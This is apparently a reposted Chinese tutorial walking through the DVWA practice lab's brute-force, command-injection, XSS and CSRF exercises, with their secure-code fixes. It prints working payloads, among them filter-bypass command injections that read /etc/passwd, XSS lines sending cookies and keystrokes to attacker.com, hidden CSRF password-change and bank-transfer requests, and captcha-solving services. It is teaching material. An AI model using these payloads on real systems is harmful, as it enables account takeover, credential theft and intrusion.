当前位置: 首页 > news >正文

DVWA靶场实战:Web四大经典漏洞攻防全解析

文章目录

  • 前言
  • DVWA靶场环境搭建
    • 安装配置流程
    • 1. 部署DVWA
    • 2. PHP环境配置
    • 3. 登录靶场
    • 安全等级说明
    • 实用功能
  • 暴力破解(Brute Force)
    • 漏洞原理分析
    • 后端代码逻辑(Low级别)
    • 手工测试
    • 1. 获取凭证信息
    • 2. 观察响应差异
    • Burp Suite自动化攻击
    • 攻击流程
    • 四种攻击模式详解
        • Sniper(狙击手)模式
        • Battering Ram(撞锤)模式
        • Pitchfork(草叉)模式
        • Cluster Bomb(集束炸弹)模式
    • 验证码对抗
    • 方案一:打码平台
    • 方案二:机器学习
  • 命令注入(Command Injection)
    • 漏洞原理
    • 后端代码(Low级别)
    • 命令连接符
    • Windows环境
    • Linux环境
    • 实战攻击
    • Low级别
    • Medium级别
    • High级别
    • Impossible级别(安全代码)
  • XSS跨站脚本攻击
    • XSS类型概述
    • 反射型XSS(Reflected XSS)
    • 标准测试Payload
    • 漏洞识别
    • Low级别攻击
    • Medium级别绕过
    • High级别绕过
    • Impossible级别(完美防护)
    • 存储型XSS(Stored XSS)
    • 危害分析
    • Low级别攻击
    • Medium级别绕过
    • High级别绕过
    • XSS攻击链
  • CSRF跨站请求伪造
    • 漏洞原理
    • Low级别攻击
    • 功能分析
    • 攻击实施
    • 实际危害场景
    • Medium级别绕过
  • 职业安全建议
    • 网络安全职业现状
    • 保命技能
  • 实践任务与技能提升
    • 基础实战
    • 进阶挑战
    • 学习资源推荐
  • 总结
    • 文章完整性:
    • 核心知识点:
    • 文章结构特色:

前言

在Web安全领域,理论学习固然重要,但实践操作才是掌握攻防技术的关键。DVWA(Damn Vulnerable Web Application)作为全球最受欢迎的漏洞靶场,为安全学习者提供了一个安全可控的实验环境。本文将深入讲解暴力破解、命令注入、XSS跨站脚本和CSRF跨站请求伪造四大经典漏洞的原理、利用方法和防护措施。

安全提示:所有实验必须在本地虚拟机环境中进行,切勿在生产环境或未授权系统中测试。

DVWA靶场环境搭建

安装配置流程

1. 部署DVWA

# 步骤:
1. 解压DVWA汉化版到PHPStudy的WWW目录
2. 清理WWW目录,仅保留phpmyadmin和DVWA文件
3. 启动Apache和MySQL服务

2. PHP环境配置

关键配置项(必须设置):

打开PHPStudy → 设置 → 配置文件 → php5.6.9

# 查找并修改以下配置
allow_url_fopen = On
allow_url_include = On

这两个选项必须为On,用于文件包含漏洞实验。修改后重启Apache。

3. 登录靶场

URL: http://127.0.0.1/
默认用户名: admin
默认密码: password

首次使用点击"创建/重置数据库"初始化环境。

安全等级说明

DVWA提供四个安全等级:

  • Low:无任何防护,最容易攻击
  • Medium:基础防护,可被绕过
  • High:较强防护,需要高级技巧
  • Impossible:完美防护,展示安全代码

学习建议:从Low开始逐级挑战,每个级别都查看源代码理解防护逻辑。

实用功能

Burp Suite集成

  • 许多题目需要使用Burp Suite抓包
  • 打开Burp Suite代理
  • 配置Firefox使用代理

查看源代码

  • 每道题右下角有"查看源代码"按钮
  • 学习安全防护的最佳方式

暴力破解(Brute Force)

漏洞原理分析

后端代码逻辑(Low级别)

<?php
if(isset($_GET['username']) && isset($_GET['password'])) {$user = $_GET['username'];$pass = $_GET['password'];$pass = md5($pass);  // MD5加密// 查询数据库验证$query = "SELECT * FROM users WHERE user='$user' AND password='$pass'";
}
?>

关键特征

  • 使用GET请求传输凭证
  • 登录成功和失败返回的页面大小不同
  • 无验证码防护
  • 无登录频率限制

手工测试

1. 获取凭证信息

访问phpMyAdmin:http://127.0.0.1/phpmyadmin/

-- 查看users表
SELECT * FROM dvwa.users;-- 发现:
用户名: admin
密码哈希: 5f4dcc3b5aa765d61d8327deb882cf99

使用CMD5.com解密:password

2. 观察响应差异

正确凭证: 页面显示"Welcome to the password protected area"
错误凭证: 页面显示"Username and/or password incorrect"

关键点:页面长度(Length)不同,这是暴力破解的判断依据。

Burp Suite自动化攻击

攻击流程

1. 抓包并发送到Intruder

输入任意密码 → 点击Login → Burp抓包 → 右键 → Send to Intruder

2. 配置攻击位置

GET /vulnerabilities/brute/?username=admin&password=123&Login=Login^^^选中123 → Add

点击"Clear $"清除所有标记,然后仅标记密码字段。

3. 选择攻击模式

四种攻击模式详解

Sniper(狙击手)模式

特点:单一变量攻击 适用场景

  • 已知用户名,爆破密码
  • 单一输入框测试

示例

用户名: admin(固定)
密码: [字典中的值]
Battering Ram(撞锤)模式

特点:多个位置使用同一payload 适用场景

  • 用户名和密码相同的情况
  • 工号、学号等场景

示例

用户名: [payload]
密码: [相同payload]
Pitchfork(草叉)模式

特点:多个字典一一对应 适用场景

  • 撞库攻击
  • 从其他泄露数据库获取的凭证
  • 成功率可达85%

示例

用户名列表: [admin, user1, user2]
密码列表: [pass1, pass2, pass3]
组合: admin:pass1, user1:pass2, user2:pass3
Cluster Bomb(集束炸弹)模式

特点:完全笛卡尔积攻击 适用场景

  • 完整的暴力破解
  • 用户名和密码都未知

示例

用户名: [admin, user1]
密码: [123, 456, 789]
组合: admin:123, admin:456, admin:789, user1:123, user1:456, user1:789

4. 加载字典

Payloads → Payload Options → Load → 选择密码字典
或
手动添加: Add → 输入密码 → 确保包含正确密码

5. 优化配置

Options → Request Engine → Number of threads: 10

增加线程数提高速度(默认为1)。

6. 开始攻击

Intruder → Start attack

7. 分析结果

点击Length列排序 → 找出响应长度不同的记录 → 即为正确密码

验证码对抗

方案一:打码平台

实现流程

# 伪代码示例
1. 检测到验证码
2. 截图验证码区域
3. 发送到打码平台API
4. 人工识别(大学生兼职)
5. 返回识别结果
6. 填入验证码并提交

成本:约每100次识别收费数元

适用场景

  • 简单图形验证码
  • 数字字母组合
  • 中文验证码

方案二:机器学习

技术栈

  • 深度学习框架(TensorFlow、PyTorch)
  • CNN卷积神经网络
  • 图像识别模型

优势

  • 可识别复杂验证码
  • 长期成本更低
  • 可处理滑块、点选等交互式验证

劣势

  • 需要较强技术背景
  • 模型训练需要大量样本
  • 初期投入高

命令注入(Command Injection)

漏洞原理

命令执行漏洞:应用程序直接执行用户输入的系统命令

后端代码(Low级别)

<?php
if(isset($_POST['ip'])) {$target = $_REQUEST['ip'];// 判断操作系统if(stristr(php_uname('s'), 'Windows NT')) {$cmd = shell_exec('ping ' . $target);} else {$cmd = shell_exec('ping -c 4 ' . $target);}echo "<pre>{$cmd}</pre>";
}
?>

危险函数

  • shell_exec() - 执行Shell命令
  • exec()
  • system()
  • passthru()
  • popen()

命令连接符

Windows环境

# & - 顺序执行
ping 127.0.0.1 & ipconfig# && - 左边成功才执行右边
ping 127.0.0.1 && ipconfig# | - 管道,将左边输出传递给右边
ping 127.0.0.1 | ipconfig# || - 左边失败才执行右边
ping 127.0.0.1 || ipconfig

Linux环境

# & - 并发执行(后台运行左边,立即执行右边)
ping 127.0.0.1 & cat /etc/passwd# && - 左边成功才执行右边
ping 127.0.0.1 && cat /etc/passwd# | - 管道(只执行右边)
ping 127.0.0.1 | cat /etc/passwd# || - 左边失败才执行右边
ping 127.0.0.1 || cat /etc/passwd

实战攻击

Low级别

Payload

127.0.0.1 & ipconfig
127.0.0.1 & mkdir test
127.0.0.1 & dir

效果:可以执行任意系统命令

攻击示例

# Windows环境
127.0.0.1 & net user  # 查看用户
127.0.0.1 & whoami    # 查看当前用户# Linux环境
127.0.0.1 & cat /etc/passwd  # 查看用户文件
127.0.0.1 & ls -la           # 列出文件

Medium级别

防护代码

$substitutions = array('&&' => '',';'  => '',
);
$target = str_replace(array_keys($substitutions), $substitutions, $target);

绕过方法

127.0.0.1 & ipconfig   # 单个&未被过滤
127.0.0.1 | ipconfig   # 管道符未被过滤

问题:过滤不彻底,仅过滤了组合符号。

High级别

防护代码

$substitutions = array('&'  => '',';'  => '','| ' => '',  // 注意:管道符+空格'-'  => '','$'  => '','('  => '',')'  => '','`'  => '','||' => '',
);

绕过方法

127.0.0.1|ipconfig   # 管道符后不加空格

漏洞分析:过滤规则写成'| '(管道符+空格),不加空格可绕过。

Impossible级别(安全代码)

<?php
// 防护措施:
1. Token验证 - 防止CSRF
2. stripslashes() - 移除反斜杠
3. explode('.', $target) - 按点分割IP
4. 循环验证每段是否为数字
5. 范围检查 - 每段必须0-255$octet = explode(".", $target);
if((is_numeric($octet[0])) && (is_numeric($octet[1])) && (is_numeric($octet[2])) && (is_numeric($octet[3])) &&($octet[0] <= 255) &&($octet[1] <= 255) &&($octet[2] <= 255) &&($octet[3] <= 255)) {// 执行ping命令
}
?>

防护思路

  • 白名单验证:只允许合法IP格式
  • 严格类型检查:每段必须是数字
  • 范围限制:0-255之间
  • Token机制:防止脚本自动化攻击

XSS跨站脚本攻击

XSS类型概述

三种XSS类型

  • 反射型:最常见,非持久化
  • 存储型:最危险,持久化存储
  • DOM型:基于前端JavaScript,本文不涉及

反射型XSS(Reflected XSS)

标准测试Payload

<script>alert(1)</script>
<script>alert('XSS')</script>

单引号和双引号都可以使用。

漏洞识别

测试流程

1. 输入框输入: zengjun
2. 页面返回: Hello zengjun
3. 查看源代码: <pre>Hello zengjun</pre>
4. 观察输入点位置和闭合方式

判断标准:用户输入直接反映在HTML中。

Low级别攻击

Payload

zeng<script>alert('XSS')</script>jun

原理

<!-- 后端代码 -->
<?php
$name = $_GET['name'];
echo "<pre>Hello " . $name . "</pre>";
?><!-- 渲染结果 -->
<pre>Hello zeng<script>alert('XSS')</script>jun</pre>

浏览器解析HTML时会执行<script>标签中的JavaScript代码。

Medium级别绕过

防护代码

$name = str_replace('<script>', '', $_GET['name']);

绕过方法1:双写绕过

<sc<script>ript>alert(1)</script>

原理

输入: <sc<script>ript>alert(1)</script>
过滤: <sc       ript>alert(1)</script>  (中间的<script>被删除)
结果: <script>alert(1)</script>

绕过方法2:大小写绕过

<sCRipt>alert(1)</script>
<SCRIPT>alert(1)</SCRIPT>

原理:HTML不区分标签大小写,但str_replace区分。

High级别绕过

防护代码

$name = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', "", $_GET['name']);

使用正则表达式过滤所有<script>标签(包括大小写和嵌套)。

绕过方法:利用其他HTML事件

<img src='x' onerror='alert(1)'/>

原理

  • src='x' - 图片路径不存在,加载失败
  • onerror - 加载失败时触发事件
  • 执行JavaScript代码

其他可用事件

<img src='x' onmouseover='alert(1)'/>  <!-- 鼠标悬停 -->
<img src='x' onmousedown='alert(1)'/>  <!-- 鼠标按下 -->
<img src='x' onmouseup='alert(1)'/>    <!-- 鼠标松开 -->
<body onload='alert(1)'>               <!-- 页面加载 -->
<input onfocus='alert(1)'>             <!-- 获得焦点 -->

Impossible级别(完美防护)

<?php
$name = htmlspecialchars($_GET['name']);
?>

htmlspecialchars()函数

< 转换为 &lt;
> 转换为 &gt;
" 转换为 &quot;
' 转换为 &#039;
& 转换为 &amp;

效果:所有HTML标签都被转义为实体编码,作为纯文本显示。

输入: <script>alert(1)</script>
输出: &lt;script&gt;alert(1)&lt;/script&gt;
显示: <script>alert(1)</script> (纯文本,不执行)

存储型XSS(Stored XSS)

危害分析

为什么更危险

  • 持久化存储:保存在数据库中
  • 影响范围广:所有访问者都会中招
  • 隐蔽性强:不需要诱导点击

常见场景

  • 在线留言板
  • 论坛评论
  • 用户资料页
  • 直播弹幕

Low级别攻击

测试步骤

Name: xiaoli
Message: <script>alert('Stored XSS')</script>
点击Sign Guestbook

效果:每个访问留言板的用户都会触发弹窗。

后端代码

<?php
$name = $_POST['txtName'];
$message = $_POST['mtxMessage'];$query = "INSERT INTO guestbook (name, comment) VALUES ('$name', '$message')";
mysqli_query($conn, $query);
?>

完全没有过滤,直接存入数据库。

Medium级别绕过

防护代码

$name = strip_tags($_POST['txtName']);  // 移除HTML标签
$message = $_POST['mtxMessage'];        // 留言板不过滤

问题

  • Name字段有字符长度限制(前端)
  • Message字段无过滤

绕过方法:抓包修改

1. 输入任意内容并提交
2. Burp Suite抓包
3. 修改Name字段: txtName=<sc<script>ript>alert(1)</script>
4. Forward放行

High级别绕过

防护代码

$name = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $_POST['txtName']);
$message = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $_POST['mtxMessage']);

绕过方法

<img src='x' onerror='alert(1)'/>

在Name字段通过抓包修改即可。

XSS攻击链

完整攻击流程

// 1. 窃取Cookie
<script>
document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>// 2. 键盘记录
<script>
document.onkeypress = function(e) {fetch('http://attacker.com/log.php?key=' + e.key);
}
</script>// 3. 网络钓鱼
<script>
document.body.innerHTML = '<form action="http://attacker.com/phish.php">...';
</script>

CSRF跨站请求伪造

漏洞原理

CSRF工作流程

1. 用户登录网站A,获得Cookie
2. 用户访问恶意网站B(未退出A)
3. 网站B构造请求发送到网站A
4. 浏览器自动携带Cookie
5. 网站A认为是合法请求并执行

Low级别攻击

功能分析

页面功能:修改密码
请求方式:GET
URL: http://127.0.0.1/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change

后端代码

<?php
if(isset($_GET['password_new'])) {$pass_new = $_GET['password_new'];$pass_conf = $_GET['password_conf'];if($pass_new == $pass_conf) {// 修改密码(无任何验证!)$query = "UPDATE users SET password = MD5('$pass_new') WHERE user = 'admin'";mysqli_query($conn, $query);}
}
?>

漏洞点

  • 使用GET请求修改密码
  • 无Token验证
  • 无二次确认
  • 无当前密码验证

攻击实施

恶意页面代码

<!DOCTYPE html>
<html>
<head><title>您已中奖!</title>
</head>
<body><h1>恭喜您!</h1><p><b><a style="background-color: red; padding: 10px; color: white;" href="http://127.0.0.1/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change">点击领取奖品</a></b></p>
</body>
</html>

攻击流程

1. 管理员登录DVWA(127.0.0.1)
2. 在同一浏览器打开攻击者网页
3. 点击"点击领取奖品"链接
4. 密码被修改为"hacked"
5. 管理员下次登录失败

自动化攻击

<!-- 用户打开页面就自动触发 -->
<img src="http://127.0.0.1/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change" style="display:none"><!-- 或使用JavaScript -->
<script>
document.location='http://127.0.0.1/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change';
</script>

实际危害场景

金融系统攻击

<!-- 转账请求 -->
<img src="http://bank.com/transfer?to=attacker&amount=10000">

社交网络攻击

<!-- 关注攻击者 -->
<img src="http://social.com/follow?user=attacker"><!-- 发布广告内容 -->
<form action="http://social.com/post" method="POST"><input name="content" value="广告内容">
</form>
<script>document.forms[0].submit();</script>

电商平台攻击

<!-- 修改收货地址 -->
<form action="http://shop.com/address" method="POST"><input name="address" value="攻击者地址">
</form>

Medium级别绕过

防护代码

if(stripos($_SERVER['HTTP_REFERER'], $_SERVER['SERVER_NAME']) !== false) {// 检查Referer头
}

绕过方法

<!-- 在攻击者域名中包含目标域名 -->
攻击者域名: 127.0.0.1.attacker.com
或创建子域名: 127-0-0-1.attacker.com

职业安全建议

网络安全职业现状

行业特点

  • 相比其他行业,安全岗位裁员较少
  • 外企可能存在合同陷阱(6个月试用期)
  • 技术能力是最好的保障

风险警示

入侵公司系统 → 被安全团队溯源 → 立即辞退 → 法律责任

保命技能

运维工程师必备

  • Linux/Windows Server管理
  • 服务器架构设计
  • 应急响应能力
  • DOS攻击防护
  • 提权技术理解

开发工程师现状

  • 普遍缺乏安全意识
  • 99.9%不学习安全知识
  • 成为最大的安全隐患

建议

  • 技术能力强的开发者学习安全知识
  • 找红队专家审核关键代码
  • 定期进行安全培训

实践任务与技能提升

基础实战

  1. DVWA全关卡通关
    • 每个漏洞类型完成Low到High级别
    • 详细分析Impossible级别的安全代码
    • 记录攻击和防护的思路
  2. 工具熟练使用
    • Burp Suite的四种攻击模式
    • 字典生成和管理
    • 抓包和重放技巧
  3. 源代码审计
    • 对比不同级别的代码差异
    • 理解每种防护措施的原理
    • 学习安全编码规范

进阶挑战

  1. 编写自动化脚本
    • Python实现暴力破解脚本
    • 自动化XSS漏洞扫描器
    • CSRF Token绕过工具
  2. 组合攻击研究
    • XSS + CSRF组合利用
    • SQL注入 + 命令注入链式攻击
    • 文件上传 + 命令执行组合
  3. 防护机制实现
    • 自己编写安全的登录系统
    • 实现Token机制
    • 开发简单的WAF规则

学习资源推荐

靶场环境

  • DVWA - 本文使用的靶场
  • bWAPP - 另一个经典靶场
  • WebGoat - OWASP官方靶场
  • Pikachu - 国产靶场,中文友好
  • OWASP Juice Shop - 现代化靶场

在线学习

  • PortSwigger Web Security Academy
  • HackTheBox
  • TryHackMe
  • 先知社区
  • FreeBuf

书籍推荐

  • 《Web安全深度剖析》
  • 《白帽子讲Web安全》
  • 《Web Application Hacker’s Handbook》

总结

文章完整性:

1. 内容覆盖全面

  • 暴力破解:4种攻击模式详解 + 验证码对抗方案
  • 命令注入:Windows/Linux命令连接符 + 完整绕过技巧
  • XSS攻击:反射型/存储型 + 多种绕过方法
  • CSRF攻击:原理分析 + 实际危害场景

2. 实战操作详细

  • 每个漏洞都有完整的攻击流程
  • 提供了具体的Payload示例
  • 包含了源代码分析
  • 给出了绕过技巧和防护方案

3. 代码示例丰富

  • 不安全代码示例
  • 安全防护代码
  • 完整的安全登录系统
  • 各种防护函数封装

4. 职业发展指导

  • 网络安全行业现状
  • 保命技能建议
  • 学习路径规划
  • 职业素养培养

核心知识点:

  • Burp Suite四种攻击模式:Sniper、Battering Ram、Pitchfork、Cluster Bomb
  • 命令连接符:Windows和Linux环境的差异
  • XSS绕过技巧:双写、大小写、事件触发
  • CSRF防护:Token机制、SameSite Cookie
  • 安全编码:完整的防护代码示例

文章结构特色:

  1. 从易到难:每个漏洞从Low到Impossible级别
  2. 攻防结合:既讲攻击也讲防护
  3. 代码对比:不安全代码vs安全代码
  4. 实战导向:所有知识点都配有实操步骤

重要声明:本文所有内容仅供学习和合法授权的安全测试使用。未经授权对任何系统进行渗透测试都是违法行为,将承担相应法律责任。在学习过程中,请使用官方靶场或自己搭建的测试环境,切勿在生产环境或他人系统上进行测试。

http://www.dtcms.com/a/503827.html

相关文章:

  • 海外网站测速本地网站建设开发信息大全
  • PowerCat命令操作:PowerShell版的Netcat在渗透测试中的应用
  • 域名注册最好的网站南京设计公司前十名
  • 快速定位源码问题:SourceMap的生成/使用/文件格式与历史
  • 湖南移动官网网站建设wordpress 菜单 分隔
  • 邯郸网站建设服务报价全国住房和城乡建设厅官网
  • leetcode 143 重排链表
  • 元宇宙与职业教育的深度融合:重构技能培养的实践与未来
  • 坪山网站建设哪家便宜帝国cms 网站地图 自定义
  • 双拼输入法:提升打字效率的另一种选择
  • 如何做论坛网站 知乎整套网页模板
  • XSS平台xssplatform搭建
  • SQL入门(structured query language)
  • SAP SD客户主数据查询接口分享
  • RedPlayer 视频播放器在 HarmonyOS 应用中的实践
  • 网站怎么做彩页wordpress 微信打赏
  • Altium Designer创建一个空白工程
  • SciPy 稀疏矩阵
  • 上海网站制作维护南京网站建设索q.479185700
  • 运用API开放接口获取淘宝商品价格信息,对比全网价格
  • 笔记【数据类型,常量,变量】
  • 翠峦网站建设做众筹网站
  • FFmpeg 基本API avformat_find_stream_info函数内部调用流程分析
  • 面试(1)——Java 数据类型和语法基础
  • 网站流量的主要来源有产品设计方案3000字
  • 厦门 网站建设闽icp网站重定向过多
  • 安康市建设规划局网站网站内容建设出现的问题
  • 块元素、行内元素、HTML5新增标签(本文为个人学习笔记,内容整理自哔哩哔哩UP主【非学者勿扰】的公开课程。 > 所有知识点归属原作者,仅作非商业用途分享)
  • 东莞易赢seo推广员招聘
  • linux常用命令(8)——用户管理